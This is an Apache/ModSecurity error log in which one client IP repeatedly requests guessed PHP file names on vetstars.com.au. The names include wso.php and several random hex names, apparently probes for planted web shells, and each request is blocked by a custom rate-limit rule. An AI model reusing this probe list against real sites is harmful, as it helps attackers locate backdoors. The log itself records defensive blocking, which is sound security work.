[Thu Dec 25 15:25:25.655673 2025] [:error] [pid 31571:tid 31628] [client 4.241.194.62:2067] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aUzm5e7e_lLK2X5wU8mAUQAAAIE"]
[Thu Dec 25 15:25:26.895112 2025] [:error] [pid 31571:tid 31638] [client 4.241.194.62:2097] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aUzm5u7e_lLK2X5wU8mAVQAAAIs"]
[Thu Dec 25 15:25:27.657269 2025] [:error] [pid 31570:tid 31613] [client 4.241.194.62:20380] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aUzm52Py2DpAzW_4a2gOCwAAAE0"]
[Thu Dec 25 15:25:29.109439 2025] [:error] [pid 31569:tid 31591] [client 4.241.194.62:2669] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUzm6WiSFBH7Ee_uldWVYQAAABI"]
[Thu Dec 25 15:25:30.556062 2025] [:error] [pid 31569:tid 31595] [client 4.241.194.62:20221] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUzm6miSFBH7Ee_uldWVZAAAABY"]
[Thu Dec 25 15:25:31.829119 2025] [:error] [pid 31570:tid 31624] [client 4.241.194.62:13534] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUzm62Py2DpAzW_4a2gOEQAAAFg"]
[Thu Dec 25 15:25:32.680992 2025] [:error] [pid 31570:tid 31620] [client 4.241.194.62:20368] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUzm7GPy2DpAzW_4a2gOEwAAAFQ"]
[Thu Dec 25 15:25:35.163550 2025] [:error] [pid 31655:tid 31665] [client 4.241.194.62:20608] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aUzm75ozPMk9HPtIJPNlyQAAAMg"]
[Thu Dec 25 15:25:35.513723 2025] [:error] [pid 31571:tid 31646] [client 4.241.194.62:24461] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aUzm7-7e_lLK2X5wU8mAWQAAAJM"]
[Thu Dec 25 15:25:36.260669 2025] [:error] [pid 31571:tid 31637] [client 4.241.194.62:2458] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aUzm8O7e_lLK2X5wU8mAWwAAAIo"]
[Thu Dec 25 15:25:37.260934 2025] [:error] [pid 31571:tid 31644] [client 4.241.194.62:13718] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aUzm8e7e_lLK2X5wU8mAXwAAAJE"]
[Thu Dec 25 15:25:39.923482 2025] [:error] [pid 31655:tid 31674] [client 4.241.194.62:11599] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karma_57c3d4.php"] [unique_id "aUzm85ozPMk9HPtIJPNlzgAAANE"]
[Thu Dec 25 15:25:41.367773 2025] [:error] [pid 2996:tid 3019] [client 4.241.194.62:20409] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karma_57c3d4.php"] [unique_id "aUzm9arrTp0EWNyhaIT7YwAAARU"]
[Thu Dec 25 15:25:43.478294 2025] [:error] [pid 31570:tid 31609] [client 4.241.194.62:20430] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karma_57c3d4.php"] [unique_id "aUzm92Py2DpAzW_4a2gOIAAAAEk"]
[Thu Dec 25 15:25:45.485383 2025] [:error] [pid 31569:tid 31597] [client 4.241.194.62:2862] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karma_57c3d4.php"] [unique_id "aUzm-WiSFBH7Ee_uldWVawAAABg"]
[Thu Dec 25 15:25:46.635818 2025] [:error] [pid 2996:tid 3010] [client 4.241.194.62:20376] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fc72f.php"] [unique_id "aUzm-qrrTp0EWNyhaIT7ZgAAAQw"]
[Thu Dec 25 15:25:48.572367 2025] [:error] [pid 2996:tid 2999] [client 4.241.194.62:20407] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fc72f.php"] [unique_id "aUzm_KrrTp0EWNyhaIT7aQAAAQE"]
[Thu Dec 25 15:25:51.509258 2025] [:error] [pid 31569:tid 31589] [client 4.241.194.62:20367] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fc72f.php"] [unique_id "aUzm_2iSFBH7Ee_uldWVcAAAABA"]
[Thu Dec 25 15:25:52.501279 2025] [:error] [pid 31569:tid 31590] [client 4.241.194.62:20627] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fc72f.php"] [unique_id "aUznAGiSFBH7Ee_uldWVdAAAABE"]
[Thu Dec 25 15:25:52.966506 2025] [:error] [pid 31571:tid 31627] [client 4.241.194.62:2225] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUznAO7e_lLK2X5wU8mAZgAAAIA"]
[Thu Dec 25 15:25:54.344428 2025] [:error] [pid 31569:tid 31577] [client 4.241.194.62:23179] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUznAmiSFBH7Ee_uldWVeQAAAAQ"]
[Thu Dec 25 15:25:55.828829 2025] [:error] [pid 31569:tid 31589] [client 4.241.194.62:2193] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUznA2iSFBH7Ee_uldWVfgAAABA"]
[Thu Dec 25 15:25:58.006720 2025] [:error] [pid 31571:tid 31644] [client 4.241.194.62:24222] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUznBu7e_lLK2X5wU8mAbAAAAJE"]
[Thu Dec 25 15:25:59.814031 2025] [:error] [pid 2996:tid 3003] [client 4.241.194.62:24250] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jjrpo.php"] [unique_id "aUznB6rrTp0EWNyhaIT7cwAAAQU"]
[Thu Dec 25 15:26:01.107228 2025] [:error] [pid 2996:tid 2999] [client 4.241.194.62:19906] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jjrpo.php"] [unique_id "aUznCarrTp0EWNyhaIT7dgAAAQE"]
[Thu Dec 25 15:26:49.677135 2025] [:error] [pid 31655:tid 31663] [client 4.241.194.62:13461] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aUznOZozPMk9HPtIJPNmEwAAAMY"]
[Thu Dec 25 15:26:51.311104 2025] [:error] [pid 31571:tid 31630] [client 4.241.194.62:23182] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aUznO-7e_lLK2X5wU8mAkQAAAIM"]
[Thu Dec 25 15:26:55.037479 2025] [:error] [pid 31569:tid 31578] [client 4.241.194.62:15555] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aUznP2iSFBH7Ee_uldWVtwAAAAU"]
[Thu Dec 25 15:26:55.978309 2025] [:error] [pid 2996:tid 3015] [client 4.241.194.62:15599] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aUznP6rrTp0EWNyhaIT71wAAARE"]
[Thu Dec 25 15:27:00.979418 2025] [:error] [pid 31655:tid 31668] [client 4.241.194.62:23203] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aUznRJozPMk9HPtIJPNmFwAAAMs"]
[Thu Dec 25 15:27:02.908758 2025] [:error] [pid 31569:tid 31594] [client 4.241.194.62:2733] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aUznRmiSFBH7Ee_uldWVuwAAABU"]
[Thu Dec 25 15:27:04.293652 2025] [:error] [pid 31655:tid 31666] [client 4.241.194.62:20931] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aUznSJozPMk9HPtIJPNmHAAAAMk"]
[Thu Dec 25 15:27:06.930295 2025] [:error] [pid 31571:tid 31632] [client 4.241.194.62:15605] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aUznSu7e_lLK2X5wU8mAmQAAAIU"]
[Thu Dec 25 15:27:08.858645 2025] [:error] [pid 31569:tid 31597] [client 4.241.194.62:16032] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/56c53.php"] [unique_id "aUznTGiSFBH7Ee_uldWVvAAAABg"]
[Thu Dec 25 15:27:11.019833 2025] [:error] [pid 31571:tid 31645] [client 4.241.194.62:23197] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/56c53.php"] [unique_id "aUznT-7e_lLK2X5wU8mAoAAAAJI"]
[Thu Dec 25 15:27:11.862499 2025] [:error] [pid 2996:tid 2999] [client 4.241.194.62:14010] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/56c53.php"] [unique_id "aUznT6rrTp0EWNyhaIT77wAAAQE"]
[Thu Dec 25 15:27:13.922110 2025] [:error] [pid 31570:tid 31606] [client 4.241.194.62:20611] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/56c53.php"] [unique_id "aUznUWPy2DpAzW_4a2gORAAAAEY"]
[Thu Dec 25 15:27:16.505393 2025] [:error] [pid 31571:tid 31643] [client 4.241.194.62:24739] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ce.php"] [unique_id "aUznVO7e_lLK2X5wU8mApQAAAJA"]
[Thu Dec 25 15:27:18.014844 2025] [:error] [pid 31655:tid 31675] [client 4.241.194.62:24704] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ce.php"] [unique_id "aUznVpozPMk9HPtIJPNmIQAAANI"]
[Thu Dec 25 15:27:20.550242 2025] [:error] [pid 31571:tid 31637] [client 4.241.194.62:24456] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ce.php"] [unique_id "aUznWO7e_lLK2X5wU8mAqAAAAIo"]
[Thu Dec 25 15:27:22.468813 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:24732] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ce.php"] [unique_id "aUznWqrrTp0EWNyhaIT7_wAAAQc"]
[Thu Dec 25 15:27:23.867208 2025] [:error] [pid 31569:tid 31577] [client 4.241.194.62:24756] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aUznW2iSFBH7Ee_uldWV4AAAAAQ"]
[Thu Dec 25 15:27:26.401989 2025] [:error] [pid 31570:tid 31614] [client 4.241.194.62:23188] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aUznXmPy2DpAzW_4a2gOWgAAAE4"]
[Thu Dec 25 15:27:30.371487 2025] [:error] [pid 2996:tid 3022] [client 4.241.194.62:16005] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aUznYqrrTp0EWNyhaIT8BQAAARg"]
[Thu Dec 25 15:27:34.017339 2025] [:error] [pid 31570:tid 31619] [client 4.241.194.62:2902] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aUznZmPy2DpAzW_4a2gOYQAAAFM"]
[Thu Dec 25 15:27:36.943898 2025] [:error] [pid 31655:tid 31662] [client 4.241.194.62:24750] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "aUznaJozPMk9HPtIJPNmLwAAAMU"]
[Thu Dec 25 15:27:37.384543 2025] [:error] [pid 31569:tid 31589] [client 4.241.194.62:24733] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "aUznaWiSFBH7Ee_uldWV7gAAABA"]
[Thu Dec 25 15:27:38.659069 2025] [:error] [pid 31655:tid 31665] [client 4.241.194.62:23198] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "aUznapozPMk9HPtIJPNmMgAAAMg"]
[Thu Dec 25 15:27:41.168152 2025] [:error] [pid 31569:tid 31575] [client 4.241.194.62:2973] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "aUznbWiSFBH7Ee_uldWV9gAAAAI"]
[Thu Dec 25 15:27:43.505451 2025] [:error] [pid 31570:tid 31622] [client 4.241.194.62:2964] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asa.php"] [unique_id "aUznb2Py2DpAzW_4a2gOaQAAAFY"]
[Thu Dec 25 15:27:44.558145 2025] [:error] [pid 31570:tid 31602] [client 4.241.194.62:24713] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asa.php"] [unique_id "aUzncGPy2DpAzW_4a2gOagAAAEI"]
[Thu Dec 25 15:27:45.236387 2025] [:error] [pid 31571:tid 31638] [client 4.241.194.62:11642] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asa.php"] [unique_id "aUznce7e_lLK2X5wU8mBGAAAAIs"]
[Thu Dec 25 15:28:32.836321 2025] [:error] [pid 31569:tid 31597] [client 4.241.194.62:20951] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aUznoGiSFBH7Ee_uldWWQwAAABg"]
[Thu Dec 25 15:28:37.149531 2025] [:error] [pid 31655:tid 31672] [client 4.241.194.62:11297] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aUznpZozPMk9HPtIJPNmiAAAAM8"]
[Thu Dec 25 15:28:39.827855 2025] [:error] [pid 2996:tid 3004] [client 4.241.194.62:18492] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aUznp6rrTp0EWNyhaIT8TQAAAQY"]
[Thu Dec 25 15:28:41.704498 2025] [:error] [pid 31571:tid 31639] [client 4.241.194.62:18200] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aUznqe7e_lLK2X5wU8mBQQAAAIw"]
